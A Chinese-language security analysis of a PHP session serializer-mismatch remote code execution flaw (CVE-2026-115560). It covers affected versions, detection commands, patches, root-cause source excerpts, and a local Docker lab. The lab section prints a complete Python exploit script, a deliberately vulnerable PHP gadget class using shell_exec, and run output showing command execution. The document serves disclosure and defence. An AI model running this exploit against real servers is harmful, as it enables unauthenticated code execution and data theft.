79% 对 51%:独立数字银行的应用安全落后。 阅读报告

深度解析

深度解析

PHP 会话上传进度序列化器 RCE(CVE-2026-115560)

在运行时切换会话序列化器的 PHP 应用可能将上传进度数据反序列化并执行代码;已在 8.5.13 至 8.2.36 中修复。

TL;DR

  • PHP 的上传进度处理器可以用一种序列化器写入攻击者控制的会话键,随后用另一种序列化器读取该记录。CVE-2026-115560 将这种不匹配转化为对象注入和代码执行。
  • 只有在服务器配置中将 session.serialize_handler 设为 php_serialize 或 php_binary、在运行时切换为 php,并保持上传进度启用的部署会受影响。PHP 称这种组合不常见,攻击途径可能性低。
  • 目前没有已知的实际利用,截至 2026-11-19,CVE-2026-115560 不在 CISA 的 KEV 目录中。PHP 公告(GHSA-658j-r8rw-q6mx)及已发布的 CVE-2026-115560 记录将该漏洞评定为 CRITICAL,CVSS v4.0 评分为 9.2(CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)。
  • 升级至 2026-11-19 发布的 PHP 8.5.13、8.4.28、8.3.37 或 8.2.36。在升级之前,请在启动配置中设置 session.upload_progress.enabled=0,并停止在运行时更改序列化器。

我受影响吗?

以下条件必须全部满足:

  • 安装运行 PHP,并通过 PHP-FPM、Apache mod_php、php-cgi、FrankenPHP 或 LiteSpeed 提供 Web 请求服务。
  • 启动配置或按目录配置将 session.serialize_handler 设为 php_serialize 或 php_binary。
  • 可访问的端点在执行 session_start() 之前调用 ini_set('session.serialize_handler', 'php')。
  • session.upload_progress.enabled 和 file_uploads 保持默认值,两者都已启用。

代码执行链还需要一个类,它在 session_start() 运行时已加载或可自动加载,并具有可用的 __wakeup()、__unserialize()、Serializable::unserialize() 或 __destruct() 方法。没有这样的利用类,不匹配仍会构造一个对象,但影响取决于该对象能做什么。

本分析针对 php-8.5.12。修复已随 2026-11-19 安全版本在 PHP 8.5.13、8.4.28、8.3.37 和 8.2.36 中发布。从不在运行时更改序列化器且不与另一种序列化器共享会话存储的应用不在已记录的路径内。

分支 受影响版本 修复版本
PHP 8.5 至 8.5.12 8.5.13
PHP 8.4 至 8.4.27 8.4.28
PHP 8.3 至 8.3.36 8.3.37
PHP 8.2 至 8.2.35 8.2.36
PHP 8.1 及更早版本 PHP 项目已停止支持 无 PHP 版本;请检查发行版或供应商

在每台主机和每个提供 PHP 服务的容器中检查运行时和配置:

php -v
php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled|file_uploads'
php-fpm -i 2>/dev/null | grep -E 'session.serialize_handler|session.upload_progress.enabled'
grep -R "session.serialize_handler" /etc/php /etc/php-fpm.d /etc/apache2 2>/dev/null
grep -R --include='*.php' "session.serialize_handler" /var/www 2>/dev/null
docker exec <container> php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled'

对应用目录树的 grep 会找到条件的运行时部分。如果应用从不为该设置调用 ini_set(),它不会返回任何内容;这是常见情况,也是该漏洞影响范围狭窄的原因。

如何修复?

升级到适用于你的分支的 2026-11-19 安全版本:PHP 8.5.13、8.4.28、8.3.37 或 8.2.36。

# Debian and Ubuntu, PHP 8.5 packages
sudo apt update
sudo apt install --only-upgrade php8.5-cli php8.5-fpm libapache2-mod-php8.5

# RHEL, Fedora and derivatives
sudo dnf upgrade 'php*'

# Alpine
sudo apk upgrade 'php*'
  1. 升级所有承载 PHP 运行时的软件包,包括 CLI、FPM 和 Apache 模块,然后重启提供请求服务的服务。
  2. 从修复后的镜像重新构建并重新创建容器。仅拉取镜像不会改变正在运行的容器。
  3. 在运行中的服务内执行 php -v 检查结果,确认其与修复版本一致。
  4. 如果发行版尚未重新构建软件包,请使用临时缓解措施,并关注发行版的安全跟踪页面。

如果无法立即升级,请移除攻击所需的条件:

  1. 在 php.ini、FPM 池或 Apache 配置中设置 session.upload_progress.enabled=0。不要对该设置使用 ini_set() 或 .user.ini,因为它们在请求启动后才会生效。
  2. 重启每个 PHP 工作进程,使设置生效。
  3. 停止调用 ini_set('session.serialize_handler', ...),并保持启动值和运行时值一致。
  4. 在运行中的服务上使用 php -i 确认这两项设置。

禁用上传进度会移除携带攻击者字节的写入。保持序列化器一致会消除不匹配。两者之一都能破坏已记录的利用链。两者都不能修复引擎关于写入方和读取方一致的假设,因此请将临时措施视为过渡方案并升级。

根本原因是什么?

PHP 用一种序列化器写入会话记录,用另一种序列化器读取它,而存储的记录没有标明所用格式的标签。

PHP 的会话扩展将活动序列化器保存在单个全局指针 PS(serializer) 中。它在启动时从 INI 设置,并且可以在运行时替换,因为 session.serialize_handler 注册为 PHP_INI_ALL。三个内置序列化器不共享格式:

  • php 写入原始键、竖线字符和序列化值。
  • php_serialize 将整个会话数组写成一个 serialize() 载荷。
  • php_binary 写入一字节的键长度、原始键和序列化值。

竖线只对 php 格式具有结构意义。php 编码器知道这一点,并拒绝包含竖线的键(ext/session/session.c:1099-1110):

PS_ENCODE_LOOP(
    smart_str_append(&buf, key);
    if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
        PHP_VAR_SERIALIZE_DESTROY(var_hash);
        smart_str_free(&buf);
        fail = true;
        php_error_docref(NULL, E_WARNING, "Failed to write session data. Data contains invalid key \"%s\"", ZSTR_VAL(key));
        break;
    }
    smart_str_appendc(&buf, PS_DELIMITER);
    php_var_serialize(&buf, struc, &var_hash);
);

另外两个编码器不检查竖线,因为只要序列化器保持一致,竖线对它们的解码器就没有意义。php_serialize 序列化整个数组(session.c:979-990),php_binary 在长度字节后写入原始键字节(session.c:1027-1046)。

上传进度处理器在脚本之前、多部分解析期间运行。当请求携带名为 PHP_SESSION_UPLOAD_PROGRESS 的字段时,处理器将原始值追加到会话键(session.c:3265-3273):

} else if (zend_string_equals_cstr(PS(rfc1867_name), data->name, name_len)) {
    smart_str_free(&progress->key);
    smart_str_append(&progress->key, PS(rfc1867_prefix));
    smart_str_appendl(&progress->key, *data->value, value_len);
    smart_str_0(&progress->key);

    progress->apply_trans_sid = APPLY_TRANS_SID;
    php_session_rfc1867_early_find_sid(progress);
}

通过 SAPI 输入过滤器拒绝该字段并不会移除该值。在失败分支中,多部分解析器仍会使用未过滤的字节调用会话回调(main/rfc1867.c:988-1002)。随后处理器用启动时的序列化器写入记录并刷新。刷新会关闭会话存储(session.c:582),对于文件处理器,这会在上传主体仍在到达时释放 sess_<id> 上的锁。

允许运行时切换,是因为脚本开始时没有活动会话。OnUpdateSerializer() 仅在会话处于活动状态时拒绝更改(session.c:640-666):

static PHP_INI_MH(OnUpdateSerializer)
{
    const ps_serializer *tmp;

    SESSION_CHECK_ACTIVE_STATE;
    SESSION_CHECK_OUTPUT_STATE;

    tmp = _php_find_ps_serializer(ZSTR_VAL(new_value));
    ...
    PS(serializer) = tmp;

    return SUCCESS;
}

在默认值 session.auto_start=0 下,ini_set('session.serialize_handler', 'php') 会到达该赋值。接下来的 session_start() 用 php 解码器读取存储的记录,它扫描到第一个竖线,并将之后的所有内容传给 php_var_unserialize()(session.c:1136-1150):

while (p < endptr) {
    q = p;
    while (*q != PS_DELIMITER) {
        if (++q >= endptr) {
            retval = FAILURE;
            goto break_outer_loop;
        }
    }

    namelen = q - p;
    name = zend_string_init(p, namelen, 0);
    q++;

    current = var_tmp_var(&var_hash);
    if (php_var_unserialize(current, (const unsigned char **)&q, (const unsigned char *)endptr, &var_hash)) {

针对 CVE-2026-109619 的早期加固不覆盖此路径。它在上传处理器解码并重新编码会话期间设置 PS(in_rfc1867_update)。php_session_unserialize_init() 仅在该标志设置期间将对象保持为 __PHP_Incomplete_Class(session.c:958-977)。攻击者的对象在上传写入期间并未被反序列化。它稍后在应用的 session_start() 中被反序列化,此时该标志为假。

如何被利用?

能够访问执行运行时切换的端点的攻击者,可以让引擎反序列化其选择的对象。攻击者控制其属性,并且对象在端点自身代码运行之前被构造。

  1. 攻击者获取或选择一个会话 ID。session.use_strict_mode 默认关闭,因此 PHP 接受未发放的 ID;在严格模式下,攻击者可以访问应用一次并保留返回的 ID。
  2. 攻击者发送携带 Cookie: PHPSESSID=<id>、PHP_SESSION_UPLOAD_PROGRESS 字段和文件部分的 multipart/form-data POST。竖线后跟序列化对象的载荷既可以放在 PHP_SESSION_UPLOAD_PROGRESS 字段值中(存入会话键),也可以放在文件部分的 filename 属性中(存入 files[0]['name'] 字段,如本地实验环境 PoC 所用)。
  3. 在请求启动期间,上传处理器将键添加到会话,并用启动时的序列化器写入记录。该序列化器原样写入竖线。
  4. 攻击者使记录可被 php 解码器读取。在默认的 session.upload_progress.cleanup=1 下,攻击者在结束 MIME 边界之前保持第一个上传打开,并用相同的 cookie 发送第二个请求。在 session.upload_progress.cleanup=0 下,上传请求结束后记录仍保留在磁盘上,因此当上传目标本身就是易受攻击的端点时可在同一请求中解码,也可以在携带相同 cookie 的后续请求中解码(本地实验环境演示的正是这种双请求流程)。
  5. 端点调用 ini_set('session.serialize_handler', 'php'),然后调用 session_start()。解码器在第一个竖线处分割记录,并将后续字节交给 php_var_unserialize()。
  6. PHP_VAR_UNSERIALIZE_DESTROY 调用 __wakeup() 或 __unserialize(),解码失败会销毁会话并调用 __destruct()。利用类以 PHP 工作进程的权限运行。

如何在本地实验环境中复现?

运行 php:8.4.27-apache 的最小化 Docker 实验环境可以在隔离测试环境中端到端复现序列化器不同步漏洞。该实验环境将 php.ini 中的 session.serialize_handler = php_serialize 与在调用 session_start() 之前通过 ini_set() 将处理器切换为 php 的端点配对。

四个核心要素解释了概念验证如何将序列化器不匹配转化为代码执行:

  • PHP 对象注入原语: CVE-2026-115560 不是 C 内存损坏漏洞,而是 PHP 会话引擎内部的反序列化(对象注入)漏洞。触发时,PHP 会获取攻击者控制的字符串(O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";})并将其传递给 PHP 内部的 unserialize() 引擎(php_var_unserialize())。
  • unserialize() 对 O:6:"Gadget":... 的处理: 前缀 O:6:"Gadget" 指示 PHP 在不调用 __construct() 的情况下分配 Gadget 类的新实例;主体 :1:{s:3:"cmd";s:6:"whoami";} 在该实例上设置一个属性:$this->cmd = "whoami"。
  • __wakeup() 魔术方法钩子: __wakeup() 是 PHP 内置的魔术方法。每当 PHP 从 O:... 载荷完成对象的反序列化时,引擎都会检查该类是否定义了 __wakeup(),并在 session_start() 返回之前,于 PHP_VAR_UNSERIALIZE_DESTROY 内部自动调用 $object->__wakeup()。如果一个类没有魔术方法(__wakeup()、__unserialize() 或 __destruct()),反序列化只会创建内存中的被动对象;当存在 __wakeup() 时,PHP 会立即使用攻击者注入的属性值($this->cmd)执行该方法。
  • 为什么实验环境使用合成的 Gadget 类: 在使用 Laravel、Symfony、Monolog、Guzzle 或 WordPress 插件等框架或库的生产级 PHP 应用中,vendor/ 下的依赖项已经包含带有 __wakeup() 或 __destruct() 方法的类,可构成面向属性编程(POP)利用链。实验环境没有在测试容器中安装完整框架,而是定义了一个 10 行的 Gadget 类来代表目标应用中可自动加载的类。

以下配置仅用于隔离容器中的授权本地测试。在 php-custom.ini 中,启动序列化器设为 php_serialize,启用上传进度,并将 session.upload_progress.cleanup 设为 0,以便进度记录在顺序请求之间保留在磁盘上:

session.serialize_handler = php_serialize
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 0
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.save_path = /tmp/php-sessions
session.save_handler = files
session.auto_start = 0

目标端点(index.php)定义了带有 __wakeup() 钩子的 Gadget 类,在运行时将 session.serialize_handler 切换为 php,并调用 session_start()。注意 index.php 自身的代码从未调用 new Gadget();该对象完全是由 session_start() 解码被投毒的会话文件时实例化的:

<?php
class Gadget {
    public string $cmd = 'echo "no command"';

    public function __wakeup(): void {
        echo "<pre>[__wakeup triggered] Running: " . htmlspecialchars($this->cmd) . "\n";
        echo shell_exec($this->cmd);
        echo "</pre>";
    }
}

ini_set('session.serialize_handler', 'php');
session_start();

另外两个辅助端点构成了完整的实验容器:upload.php 在不调用 session_start() 的情况下接收多部分 POST 请求,使 RFC 1867 回调能够使用启动时的 php_serialize 处理器写入上传进度记录;check_session.php 则直接输出 /tmp/php-sessions/sess_<id> 的内容而不触发反序列化:

<?php
// upload.php
header('Content-Type: text/plain');
echo "Upload received.\n";
echo "Session cookie: " . ($_COOKIE['PHPSESSID'] ?? 'none') . "\n";

$sid = $_COOKIE['PHPSESSID'] ?? '';
if ($sid !== '') {
    $path = '/tmp/php-sessions/sess_' . basename($sid);
    if (file_exists($path)) {
        echo "\nRaw session file after upload:\n";
        echo file_get_contents($path) . "\n";
    } else {
        echo "\nSession file not yet created: $path\n";
    }
}
<?php
// check_session.php
header('Content-Type: text/plain');

$sid = $_GET['sid'] ?? '';
if ($sid === '') {
    echo "Usage: ?sid=<session_id>\n";
    exit;
}

$path = '/tmp/php-sessions/sess_' . basename($sid);
if (file_exists($path)) {
    echo "=== Raw session file: $path ===\n\n";
    echo file_get_contents($path);
} else {
    echo "Session file not found: $path";
}

下面的概念验证脚本(exploit.py)先建立会话 cookie,随后发送原始 multipart/form-data 上传请求,其中 filename 属性以 |O:6:"Gadget":1:{...} 开头(双引号转义为 \",以便 main/rfc1867.c 在不进行 URL 编码的情况下将其还原为字面双引号),接着请求 index.php 以触发 PS_SERIALIZER_DECODE_FUNC(php):

"""
CVE-2026-115560 — PHP Session Serializer Desync via Upload Progress

Proof of Concept exploit for the session format desynchronization vulnerability.

Attack flow:
  1. POST multipart upload to upload.php with PHP_SESSION_UPLOAD_PROGRESS and a
     crafted filename containing |O:6:"Gadget":1:{s:3:"cmd";s:<len>:"<command>";}
     → php_session_rfc1867_callback writes upload progress to session file
       using php_serialize (from php.ini) — no | escaping.
  2. GET index.php with the same session cookie.
     → ini_set('session.serialize_handler', 'php') + session_start()
     → 'php' decoder splits on |, deserializes the injected Gadget object
     → __wakeup() fires → shell_exec()

Note: We craft the raw multipart body to avoid URL-encoding of quotes in the
      filename, which the Python requests library does by default.

Requirements:
  - session.serialize_handler = php_serialize  (in php.ini)
  - session.upload_progress.enabled = 1        (default)
  - App does ini_set('session.serialize_handler', 'php') before session_start()

Usage:
  python3 exploit.py [target_url] [command]

  Defaults: target_url=http://localhost:8084  command=id
"""
import argparse

import requests


BOUNDARY = "----ExploitBoundary7d93e2a1"


def build_serialized_object(command: str) -> str:
    return f'O:6:"Gadget":1:{{s:3:"cmd";s:{len(command)}:"{command}";}}'


def build_multipart_body(payload_filename: str, file_content: bytes) -> bytes:
    """Build raw multipart/form-data body with unescaped filename."""
    parts = []

    # Part 1: PHP_SESSION_UPLOAD_PROGRESS field (triggers session init)
    parts.append(
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
        f"\r\n"
        f"pwned\r\n"
    )

    # Part 2: File upload with crafted filename
    # The filename contains the pipe + serialized object.
    # We must escape " as \" inside the Content-Disposition header's filename="..."
    # value, because unescaped " would close the attribute prematurely.
    # PHP's rfc1867.c multipart parser correctly unescapes \" back to literal ".
    escaped_filename = payload_filename.replace("\\", "\\\\").replace('"', '\\"')
    parts.append(
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="{escaped_filename}"\r\n'
        f"Content-Type: application/octet-stream\r\n"
        f"\r\n"
    )

    body = "".join(parts).encode("latin-1")
    body += file_content
    body += f"\r\n--{BOUNDARY}--\r\n".encode("latin-1")

    return body


def exploit(target: str, command: str) -> None:
    session = requests.Session()
    base = target.rstrip("/")

    serialized_obj = build_serialized_object(command)
    payload_filename = f"|{serialized_obj}"

    print(f"[*] Target: {base}")
    print(f"[*] Command: {command}")
    print(f"[*] Serialized object: {serialized_obj}")
    print(f"[*] Payload filename: {payload_filename}")
    print()

    # Step 0: Establish a session to get a PHPSESSID cookie
    print("[0] Establishing session...")
    session.get(f"{base}/index.php")
    sid = session.cookies.get("PHPSESSID", "")
    print(f"    Session ID: {sid}")
    print()

    # Step 1: POST multipart upload to upload.php
    # Craft raw body to preserve literal " in filename
    print("[1] Sending multipart upload with crafted filename to /upload.php...")

    file_content = b"A" * 65536
    raw_body = build_multipart_body(payload_filename, file_content)

    resp1 = session.post(
        f"{base}/upload.php",
        data=raw_body,
        headers={"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"},
    )
    print(f"    HTTP {resp1.status_code}")
    print(f"    Response:")
    for line in resp1.text.strip().split("\n"):
        print(f"      {line}")
    print()

    # Step 1.5: Verify payload in raw session file
    print("[1.5] Checking raw session file...")
    resp_check = session.get(f"{base}/check_session.php?sid={sid}")
    for line in resp_check.text.strip().split("\n"):
        print(f"      {line}")
    print()

    # Step 2: GET index.php to trigger deserialization
    # index.php does: ini_set('session.serialize_handler', 'php'); session_start();
    # The 'php' decoder reads the php_serialize data, finds | in the filename,
    # and passes the payload to php_var_unserialize() → __wakeup() → RCE
    print("[2] Triggering deserialization via GET /index.php ...")
    resp2 = session.get(f"{base}/index.php")
    print(f"    HTTP {resp2.status_code}")
    print()

    if "__wakeup triggered" in resp2.text:
        print("[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.")
        start = resp2.text.find("[__wakeup triggered]")
        end = resp2.text.find("</pre>", start)
        if start >= 0 and end >= 0:
            print()
            print(resp2.text[start:end])
    else:
        print("[-] Gadget did not fire on this attempt.")
        print()
        # Show PHP warnings if any
        for line in resp2.text.split("\n"):
            stripped = line.strip()
            if "Warning" in stripped or "Notice" in stripped or "Fatal" in stripped:
                print(f"    PHP: {stripped[:200]}")
        print()
        print(f"    Debug: {base}/check_session.php?sid={sid}")

    print()
    print("[*] Done.")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-115560 PoC")
    parser.add_argument("target", nargs="?", default="http://localhost:8084",
                        help="Target URL (default: http://localhost:8084)")
    parser.add_argument("command", nargs="?", default="id",
                        help="Command to execute (default: id)")
    args = parser.parse_args()

    exploit(target=args.target, command=args.command)

针对 php:8.4.27-apache 容器运行 exploit.py 会在上传阶段将未转义的竖线和序列化的 Gadget 载荷写入 /tmp/php-sessions/sess_<id>,并在随后的 GET /index.php 请求中触发 Gadget::__wakeup():

$ python3 exploit.py http://localhost:8084 whoami
[*] Target: http://localhost:8084
[*] Command: whoami
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}

[0] Establishing session...
    Session ID: ddda797e6af8bdba6401bab8062dbd3d

[1] Sending multipart upload with crafted filename to /upload.php...
    HTTP 200
    Response:
      Upload received.
      Session cookie: ddda797e6af8bdba6401bab8062dbd3d

      Raw session file after upload:
      a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}

[1.5] Checking raw session file...
      === Raw session file: /tmp/php-sessions/sess_ddda797e6af8bdba6401bab8062dbd3d ===

      a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}

[2] Triggering deserialization via GET /index.php ...
    HTTP 200

[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.

[__wakeup triggered] Running: whoami
www-data


[*] Done.

$ python3 exploit.py http://localhost:8084 "ls /"
[*] Target: http://localhost:8084
[*] Command: ls /
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}

[0] Establishing session...
    Session ID: 2ffd23b0781b8886a49a001d723272b3

[1] Sending multipart upload with crafted filename to /upload.php...
    HTTP 200
    Response:
      Upload received.
      Session cookie: 2ffd23b0781b8886a49a001d723272b3

      Raw session file after upload:
      a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096810;s:14:"content_length";i:65855;s:15:"bytes_processed";i:65855;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:39:"|O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}";s:8:"tmp_name";s:27:"/tmp/phpm0druteh4qg69SLzfU8";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096810;s:15:"bytes_processed";i:65536;}}}}

[2] Triggering deserialization via GET /index.php ...
    HTTP 200

[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.

[__wakeup triggered] Running: ls /
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var


[*] Done.

$ python3 exploit.py http://localhost:8084 "id"
[*] Target: http://localhost:8084
[*] Command: id
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}

[0] Establishing session...
    Session ID: 98c162d7ecf462372c94193f5e5cdba1

[1] Sending multipart upload with crafted filename to /upload.php...
    HTTP 200
    Response:
      Upload received.
      Session cookie: 98c162d7ecf462372c94193f5e5cdba1

      Raw session file after upload:
      a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096814;s:14:"content_length";i:65853;s:15:"bytes_processed";i:65853;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:37:"|O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}";s:8:"tmp_name";s:27:"/tmp/php15e46dl4mmkv1qCw7Y3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096814;s:15:"bytes_processed";i:65536;}}}}

[2] Triggering deserialization via GET /index.php ...
    HTTP 200

[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.

[__wakeup triggered] Running: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


[*] Done.

攻击如何展开?

攻击者的字节经过脚本之前的写入,以及脚本内由另一种序列化器执行的读取。

flowchart LR A["携带 PHP_SESSION_UPLOAD_PROGRESS
的多部分 POST"] --> B["上传处理器在
脚本之前运行"] B --> C["会话键包含
带竖线的攻击者字节"] C --> D["启动序列化器写入记录
竖线未转义"] D --> E["第二个请求到达
ini_set 和 session_start"] E --> F["php 解码器在
第一个竖线处分割"] F --> G["php_var_unserialize
构造对象"] G --> H["魔术方法以
工作进程权限执行代码"]

使利用链成为可能的一步是启动序列化器的写入,因为它存储了后续解码器视为结构的竖线。

攻击者能做什么?

当配置条件满足且应用具有可用的利用类时,未认证的攻击者可以以处理该请求的 PHP 工作进程权限执行代码。

  • 攻击者可以读取工作进程可访问的环境变量、应用配置和凭据。
  • 攻击者可以通过应用自身的连接读取和修改应用的数据库。
  • 攻击者可以写入工作进程可写的文件,包括会话文件和模板缓存。
  • 攻击者可以将主机作为进一步访问的起点,具体取决于网络分段。

这些条件与使漏洞可到达的条件相同。启动序列化器必须是 php_serialize 或 php_binary。端点必须在 session_start() 之前切换到 php。上传进度必须启用。利用类必须可加载。PHP 称该配置不常见、攻击途径可能性低,并表示从不在运行时更改序列化器的应用不受影响。

公开记录没有展示端到端的入侵。这里描述的影响是该原语的影响,不是受害者的报告。

为什么修复有效?

PHP 8.5.13、8.4.28、8.3.37 和 8.2.36 中的修复(公告 GHSA-658j-r8rw-q6mx,提交 522afb690f)通过两项引擎改动和一项运维要求,消除了 ext/session/session.c 中的运行时序列化器不同步问题。

该补丁实施了三层防护:

  1. 在 PHP_INI_BEGIN() 中将 session.upload_progress.enabled 的默认值从 "1" 改为 "0",除非管理员显式启用,否则上传进度会话写入默认关闭。
  2. 在 OnUpdateSerializer() 及其他会话 INI 更新处理器中强制执行 SESSION_CHECK_UPLOAD_PROGRESS_STATE;当上传进度处于启用状态时,任何尝试在运行时更改 session.serialize_handler 的脚本都会抛出错误(Session ini settings cannot be changed at runtime when session.upload_progress.enabled is On)。
  3. 要求显式启用 session.upload_progress.enabled 的部署在共享同一会话存储目录的所有 FPM 池、虚拟主机和 CLI 进程中使用相同的 session.serialize_handler。

通过默认禁用上传进度,并在上传进度启用时阻止 ini_set('session.serialize_handler', ...),补丁防止了单一应用用一种序列化器写入上传进度记录而在运行时用另一种序列化器解码。

如何检查是否已遭入侵?

CVE-2026-115560 没有公开的入侵指标,未能构造可用对象的尝试可能不会留下明显痕迹。

如果暴露的配置可以从互联网访问,请保留覆盖该时段的 Web 服务器、反向代理和 PHP 日志。检查其中携带 PHP_SESSION_UPLOAD_PROGRESS 的多部分请求,以及应用未发放的会话 ID。

检查会话存储中是否包含竖线后跟序列化对象的记录。将命中视为线索而非证据:合法的进度记录也包含字段名,而解码失败可能已经删除了该记录。

检查同一批请求前后的 PHP 错误日志中是否有解码警告。解码失败可能销毁会话并留下警告。如果发现执行迹象,请保留主机镜像并轮换工作进程可访问的凭据。

时间线

  • 2026-10-21:PHP 发布 8.5.12、8.4.27、8.3.36 和 8.2.35,修复 CVE-2026-109618 和 CVE-2026-109619,即被称为 PHP2Shell 的两个漏洞。CVE-2026-109619 的公告已建议将 session.upload_progress.enabled=0 作为缓解措施。
  • 2026-10-23:PHP 发布 CVE-2026-115560 的信息性公告,描述该配置组合,并建议在下一个定期版本之前保持上传进度禁用。
  • 2026-11-18:PHP 预告 2026-11-19 14:00 至 14:30 UTC 的定期安全版本,最高严重级别为 CRITICAL,详细信息随版本发布。
  • 2026-11-19:PHP 发布 8.5.13、8.4.28、8.3.37 和 8.2.36,并发布 CVE-2026-115560 的安全公告 GHSA-658j-r8rw-q6mx。

CVE-2026-115560 从 10 月公告到 11 月版本的时间线
图 1:PHP 在 10 月披露了配置问题,并于 2026-11-19 发布了修复。来源:PHP 新闻存档,2026 年 11 月 19 日检查。

常见问题

无需认证就能利用吗?

是的,在四个配置条件都满足时。攻击者不需要账户或管理访问权限。攻击者需要一个会话 ID 和一个执行运行时切换的可访问端点。

为什么默认配置不会触发?

默认序列化器在写入和读取时都是 php,因此编码器和解码器对竖线的理解一致。该漏洞需要一种原样写入竖线的启动序列化器,以及一种将竖线视为结构的运行时解码器。

有公开的利用代码吗?

当存在可加载的利用类时,序列化器不匹配可以在 php:8.4.27-apache 上端到端复现,如“如何在本地实验环境中复现?”章节所示。

它在 CISA 的 KEV 中吗,或在野外被利用了吗?

不在。截至 2026-11-19,CVE-2026-115560 不在 CISA 的 KEV 中,也没有利用报告。两个相关的 PHP 漏洞 CVE-2026-109618 和 CVE-2026-109619 于 2026-10-26 被加入 KEV;它们是不同的漏洞。

禁用上传进度能修复吗?

它会移除携带攻击者字节的写入,因此会破坏已记录的利用链。它不会改变引擎关于写入方和读取方使用同一序列化器的假设。还应升级到修复版本。

哪些版本已修复?

PHP 8.5.13、8.4.28、8.3.37 和 8.2.36 在 2026-11-19 安全版本中修复了 CVE-2026-115560。如果你使用已停止支持的分支,请检查发行版的向后移植。

参考文献

  • PHP,“Informational advisory: Session upload progress”,2026-10-23:https://www.php.net/archive/2026.php#2026-10-23-1(2026 年 11 月 19 日检查)
  • PHP,“Upcoming Critical PHP Security Release”,2026-11-18:https://www.php.net/archive/2026.php#2026-11-18-1(2026 年 11 月 19 日检查)
  • PHP,“Security advisory: Critical remote code execution vulnerabilities, update now”,2026-10-21:https://www.php.net/archive/2026.php#2026-10-21-5(2026 年 11 月 19 日检查)
  • 标签 php-8.5.12 的 PHP 源代码,ext/session/session.c:https://github.com/php/php-src/blob/php-8.5.12/ext/session/session.c(2026 年 11 月 19 日检查)
  • 标签 php-8.5.12 的 PHP 源代码,main/rfc1867.c:https://github.com/php/php-src/blob/php-8.5.12/main/rfc1867.c(2026 年 11 月 19 日检查)
  • 标签 php-8.5.12 的 PHP 源代码,ext/standard/var_unserializer.re:https://github.com/php/php-src/blob/php-8.5.12/ext/standard/var_unserializer.re(2026 年 11 月 19 日检查)
  • GHSA-6wmf-4rv5-p3rp,“RCE via stale global state”,建议禁用上传进度的 2026-10-21 公告:https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp(2026 年 11 月 19 日检查)
  • GHSA-658j-r8rw-q6mx / CVE-2026-115560,“Session serializer mismatch can lead to remote code execution”(CVSS v4.0 9.2 CRITICAL),2026-11-19 发布:https://github.com/php/php-src/security/advisories/GHSA-658j-r8rw-q6mx 及 https://www.cve.org/CVERecord?id=CVE-2026-115560(2026 年 11 月 19 日检查)
  • CISA 的 Known Exploited Vulnerabilities 目录,版本 2026.11.18,CVE-2026-115560 不在其中:https://www.cisa.gov/known-exploited-vulnerabilities-catalog(2026 年 11 月 19 日检查)